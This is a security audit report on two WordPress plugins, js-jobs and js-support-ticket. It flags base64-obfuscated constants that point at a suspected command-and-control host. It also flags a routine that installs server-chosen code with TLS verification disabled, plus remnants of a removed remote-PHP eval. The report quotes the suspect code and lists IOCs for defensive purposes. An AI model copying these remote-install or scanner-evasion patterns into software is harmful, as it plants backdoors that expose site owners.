Audit #39 Suspicious
Show full summary
This audit re-examines the JoomSky vendor portfolio after audit #23 found setup.joomsky.com was the C2 endpoint for an eval(curl_exec(JCONSTINST)) remote-PHP-execution primitive shipped in js-support-ticket through 2017. Audit #23 concluded "current 3.0.8 is clean" based on the eval primitive's removal. Three new findings change that picture:
1. js-support-ticket v3.0.8: eval primitive removed, but constants base64-obfuscated and preserved as dead code
includes/includer.php:244-250 shipped 2026-04-28 (4 days before audit #23 published) defines:
define('JCONSTINST', base64_decode("aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby9pbmRleC5waHA="));
// → https://setup.joomsky.com/jsticketwp/pro/index.php
define('JCONSTV', base64_decode("aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby92ZXJpZmllci5waHA="));
// → https://setup.joomsky.com/jsticketwp/pro/verifier.phpBoth constants are defined but have no callers anywhere in the trunk. There is no eval() or curl_exec() connected to them. The constants are dead code.
The base64 encoding has no functional purpose for dead constants. The only effect is to evade plain-string IOC scanners — a grep "setup.joomsky.com" over the trunk would miss them. This is the audit-evasion shape: the vendor knew (or anticipated) the IOC catalog watching for those strings and obfuscated them while preserving the values intact for potential reactivation.
2. js-jobs v2.0.2: active install primitive against the same C2
The vendor did NOT apply the same removal to the sibling plugin. includes/includer.php:101-102 ships the constant in plain text:
define('JCONSTV', 'https://setup.joomsky.com/jsjobswp/pro/index.php');And modules/proinstaller/controller.php:54-93 ships an active wp_remote_post → JSON → install_plugin primitive:
$post_data = array(
'transactionkey' => JSJOBSrequest::getVar('transactionkey'),
// ... license parameters from the user's GET/POST ...
);
$url = JCONSTV;
$response = wp_remote_post($url, array('body' => $post_data, 'timeout' => 7, 'sslverify' => false));
$result = json_decode($response['body']);
if (isset($result[0]) && $result[0] == 1) {
$plugin_url = $result[1]; // ← server controls this
$sql_url = $result[2]; // ← and this
$installed = $this->install_plugin($plugin_url, $sql_url);
if (!is_wp_error($installed) && $installed) {
$link = admin_url("admin.php?page=jsjobs");
wp_redirect($link);
exit;
}
}Then install_plugin() at controller.php:96+ does download_url($plugin_zip) → WP_Filesystem extract into WP_PLUGIN_DIR/js-jobs/. The endpoint's response controls the zip URL; the plugin then unzips and installs that code with full author privileges. sslverify => false makes the channel MITM-able.
This is the same architecture as the audit #23 malicious primitive, only the eval(curl_exec()) in-line execution is replaced with download → unzip → install. Functionally equivalent attack surface (vendor or any MITM can ship arbitrary PHP that runs on the next admin page load).
3. js-jobs getDemo() — dead $return_string; where an eval used to live
modules/postinstallation/model.php:1644-1672 fetches a literal PHP file from setup.joomsky.com:
$url = 'https://setup.joomsky.com/jobmanagertheme/demoimporter/demos/' . $foldername . '/democode.php';
$response = wp_remote_post($url, array('body' => $post_data, 'timeout' => 7, 'sslverify' => false));
if (!is_wp_error($response) && $response['response']['code'] == 200 && isset($response['body'])) {
$call_result = $response['body'];
}
// ...
if ($call_result) {
$return_string = $call_result;
$pro = 0;
$return_string; // ← dead expression statement
update_option('job_manager_demno_id', $demoid);
}$return_string; on line 1668 is a no-op expression statement that does nothing in PHP. The pattern matches a removed eval($return_string); line — the cleanup deleted the eval but left the surrounding scaffolding (remote fetch, response capture, body assignment) intact. The endpoint URL filename democode.php confirms the response was intended to be PHP code to execute, not data to render.
4. sslverify=false used 9 times across js-jobs
Every wp_remote_post call to setup.joomsky.com (proinstaller, postinstallation, license verification, translation API) uses 'sslverify' => false. There is no benign reason a plugin would disable TLS verification on its own vendor's HTTPS endpoint. The effect is the channel is MITM-able by any actor on the network path between the customer site and setup.joomsky.com — including any operator who later acquires control of any intermediate hop.
Not yet confirmed malicious. Site owners should treat with caution; plugin author should review the cleanup steps.
If you run any of these 2 plugins on your site
See the Affected plugins table below for the full slug list. To check whether any are installed across your fleet:
wp plugin list --field=name | grep -E '^(js\-support\-ticket|js\-jobs)$'
For each match, verify your install against the wp.org canonical and remove if compromised:
wp plugin verify-checksums <slug>
wp plugin deactivate <slug>
wp plugin delete <slug>
Patched builds for the major affected slugs are hosted at plugins.captaincore.io — see the cleanup instructions for site operators below for the full per-plugin URL list.
Affected plugins (2)
All plugins covered by this incident report. Combined exposure: 8k+ active installs across 2 slugs.
| Plugin | Active installs | Trunk version | wp.org status |
|---|---|---|---|
| JS Help Desk – AI-Powered Support & Ticketing System | 8k+ | 3.1.1 | Open |
| JS Job Manager | 100 | 2.0.2 | Open |
IOCs extracted (4)
| Kind | Value | Confidence |
|---|---|---|
| code_pattern | aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbQ |
high |
| code_pattern | JCONSTV |
medium |
| url | https://setup.joomsky.com/jobmanagertheme/demoimporter/ |
medium |
| url | https://setup.joomsky.com/jsjobswp/pro/index.php |
high |
Audit #39 — JoomSky portfolio (rabilal): js-jobs + js-support-ticket
- Plugins covered:
- js-jobs (100 active installs, head v2.0.2, last update 2025-11-22) — primary focus
- js-support-ticket (8,000 active installs, head v3.0.8, last update 2026-04-28) — sibling, cross-referenced from audit #23
- Author:
rabilal(Ahmad Bilal / JoomSky), sole committer across all 3 wp.org plugins - Event: #2534
code_pattern· critical · 2026-05-08 12:42:47 (setup.joomsky.comIOC match in js-jobs) - Cross-reference: audit #23 (js-support-ticket, verdict: malicious, 2026-05-02) — established the eval-curl primitive pattern in historic v1.0.3 → v2.0.1 versions
Summary
This audit re-examines the JoomSky vendor portfolio after audit #23 found setup.joomsky.com was the C2 endpoint for an eval(curl_exec(JCONSTINST)) remote-PHP-execution primitive shipped in js-support-ticket through 2017. Audit #23 concluded "current 3.0.8 is clean" based on the eval primitive's removal. Three new findings change that picture:
1. js-support-ticket v3.0.8: eval primitive removed, but constants base64-obfuscated and preserved as dead code
includes/includer.php:244-250 shipped 2026-04-28 (4 days before audit #23 published) defines:
define('JCONSTINST', base64_decode("aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby9pbmRleC5waHA="));
// → https://setup.joomsky.com/jsticketwp/pro/index.php
define('JCONSTV', base64_decode("aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbS9qc3RpY2tldHdwL3Byby92ZXJpZmllci5waHA="));
// → https://setup.joomsky.com/jsticketwp/pro/verifier.phpBoth constants are defined but have no callers anywhere in the trunk. There is no eval() or curl_exec() connected to them. The constants are dead code.
The base64 encoding has no functional purpose for dead constants. The only effect is to evade plain-string IOC scanners — a grep "setup.joomsky.com" over the trunk would miss them. This is the audit-evasion shape: the vendor knew (or anticipated) the IOC catalog watching for those strings and obfuscated them while preserving the values intact for potential reactivation.
2. js-jobs v2.0.2: active install primitive against the same C2
The vendor did NOT apply the same removal to the sibling plugin. includes/includer.php:101-102 ships the constant in plain text:
define('JCONSTV', 'https://setup.joomsky.com/jsjobswp/pro/index.php');And modules/proinstaller/controller.php:54-93 ships an active wp_remote_post → JSON → install_plugin primitive:
$post_data = array(
'transactionkey' => JSJOBSrequest::getVar('transactionkey'),
// ... license parameters from the user's GET/POST ...
);
$url = JCONSTV;
$response = wp_remote_post($url, array('body' => $post_data, 'timeout' => 7, 'sslverify' => false));
$result = json_decode($response['body']);
if (isset($result[0]) && $result[0] == 1) {
$plugin_url = $result[1]; // ← server controls this
$sql_url = $result[2]; // ← and this
$installed = $this->install_plugin($plugin_url, $sql_url);
if (!is_wp_error($installed) && $installed) {
$link = admin_url("admin.php?page=jsjobs");
wp_redirect($link);
exit;
}
}Then install_plugin() at controller.php:96+ does download_url($plugin_zip) → WP_Filesystem extract into WP_PLUGIN_DIR/js-jobs/. The endpoint's response controls the zip URL; the plugin then unzips and installs that code with full author privileges. sslverify => false makes the channel MITM-able.
This is the same architecture as the audit #23 malicious primitive, only the eval(curl_exec()) in-line execution is replaced with download → unzip → install. Functionally equivalent attack surface (vendor or any MITM can ship arbitrary PHP that runs on the next admin page load).
3. js-jobs getDemo() — dead $return_string; where an eval used to live
modules/postinstallation/model.php:1644-1672 fetches a literal PHP file from setup.joomsky.com:
$url = 'https://setup.joomsky.com/jobmanagertheme/demoimporter/demos/' . $foldername . '/democode.php';
$response = wp_remote_post($url, array('body' => $post_data, 'timeout' => 7, 'sslverify' => false));
if (!is_wp_error($response) && $response['response']['code'] == 200 && isset($response['body'])) {
$call_result = $response['body'];
}
// ...
if ($call_result) {
$return_string = $call_result;
$pro = 0;
$return_string; // ← dead expression statement
update_option('job_manager_demno_id', $demoid);
}$return_string; on line 1668 is a no-op expression statement that does nothing in PHP. The pattern matches a removed eval($return_string); line — the cleanup deleted the eval but left the surrounding scaffolding (remote fetch, response capture, body assignment) intact. The endpoint URL filename democode.php confirms the response was intended to be PHP code to execute, not data to render.
4. sslverify=false used 9 times across js-jobs
Every wp_remote_post call to setup.joomsky.com (proinstaller, postinstallation, license verification, translation API) uses 'sslverify' => false. There is no benign reason a plugin would disable TLS verification on its own vendor's HTTPS endpoint. The effect is the channel is MITM-able by any actor on the network path between the customer site and setup.joomsky.com — including any operator who later acquires control of any intermediate hop.
Vendor pattern across portfolio
| Plugin | Installs | Treatment in current head |
|---|---|---|
| js-support-ticket v3.0.8 | 8,000 | eval-curl removed, JCONST constants base64-obfuscated as dead code |
| js-jobs v2.0.2 | 100 | JCONSTV in plain text, active wp_remote_post → install_plugin primitive, dead $return_string; evidence of removed eval |
| learn-manager v1.1.8 | 10 | clean (no JCONST*, no proinstaller, abandoned 2021) |
The vendor's response to audit #23 (or to the same forces that prompted audit #23) was a partial cleanup: the flagship product js-support-ticket got the eval primitive removed, the C2 constants base64-obfuscated, and the resulting dead code preserved. The lower-traffic sibling js-jobs was left at the prior state with the install primitive still active. The cleanup pattern is consistent with someone who wants the plugin to pass IOC string-match scans while retaining the code paths for reactivation.
Verdict
suspicious
js-jobs ships an active vendor-controlled remote-install primitive with TLS verification disabled. The endpoint is the same setup.joomsky.com server that was the C2 for the historic eval-curl primitive in js-support-ticket. The architecture is functionally equivalent to remote-PHP-execution by a different mechanism (zip-install vs. eval-curl). Even ignoring the historical evidence, sslverify=false on a vendor self-update primitive is a real attack surface.
The base64 obfuscation in js-support-ticket v3.0.8 changes my read of audit #23's "current 3.0.8 is clean" conclusion. The constants are dead but the vendor's choice to obfuscate rather than delete them is the audit-evasion shape, not the cleanup shape.
This is short of "malicious" because:
- No active eval/curl_exec in either plugin's current trunk
- The js-jobs install primitive is at least nominally a vendor-pro-installer feature (not hidden)
- The js-support-ticket constants are dead code with no triggering path
But it's well into "suspicious" because:
- Same vendor with a documented historical malicious primitive
- Active install primitive in js-jobs targets the exact same C2 host
- sslverify=false is gratuitous insecurity on the vendor's own endpoint
- Base64 obfuscation of dead constants is audit-evasion behavior
Recommendation
1. wp.org should re-evaluate js-jobs. The active install primitive matches the architecture pattern of audit #23's malicious finding, only with a softer execution mechanism. At minimum, sslverify=false should be required to be removed. 2. js-support-ticket v3.0.8 should not be considered "fully cleaned." The base64 obfuscation of dead constants pointed at the same C2 host is the wrong response to a malicious finding. Recommend wp.org request full removal of the JCONST* defines. 3. New IOC catalog entry: base64-encoded form of setup.joomsky.com URLs. Multiple vendors who get caught will follow this exact obfuscation playbook; catching the encoded form prevents repeat detection-evasion.
Suspicious pattern hits (reproduced from auto-scaffold for reference)
setup.joomsky.com — 5 hits in js-jobs
includes/includer.php:102—define('JCONSTV', 'https://setup.joomsky.com/jsjobswp/pro/index.php');modules/postinstallation/model.php:1610—$url = "https://setup.joomsky.com/jobmanagertheme/demoimporter/getdemos.php";modules/postinstallation/model.php:1651—$url = 'https://setup.joomsky.com/jobmanagertheme/demoimporter/demos/'.$foldername.'/democode.php';modules/jsjobs/model.php:788—$fileurl = 'https://setup.joomsky.com/jsjobswp/logo.png';modules/jsjobs/model.php:799—$url = 'https://setup.joomsky.com/jsjobswp/logo.png';
remote_enqueue — 3 hits (Google Charts + reCAPTCHA, BENIGN public-CDN class)
getJSModel($module)->$task() — 1 hit (includes/ajax.php:18) — dynamic-method dispatch over user-controlled $task. Separate concern but worth noting.
base64_decode — 3 hits (1 string utility + 2 data: URI handling, BENIGN)
str_rot13 — 1 hit (includes/jsjobslib.php:135) — string utility, BENIGN.
IOCs to extract
- kind: code_pattern, value: aHR0cHM6Ly9zZXR1cC5qb29tc2t5LmNvbQ, confidence: high
- kind: code_pattern, value: JCONSTV, confidence: medium
- kind: code_pattern, value: JCONSTINST, confidence: high
- kind: url, value: https://setup.joomsky.com/jsjobswp/pro/index.php, confidence: high
- kind: url, value: https://setup.joomsky.com/jobmanagertheme/demoimporter/, confidence: medium
Full diff
_Multi-plugin audit; no single-plugin baseline diff applies. js-support-ticket v3.0.8 was reviewed against audit #23's historical reference points._
Cross-reference
- Audit #23 — js-support-ticket (verdict: malicious, 2026-05-02) established the eval-curl primitive against
setup.joomsky.comin historical versions - IOC catalog entries 109-112 (audit #23-derived) — these audit findings extend the catalog: see "IOCs to extract" above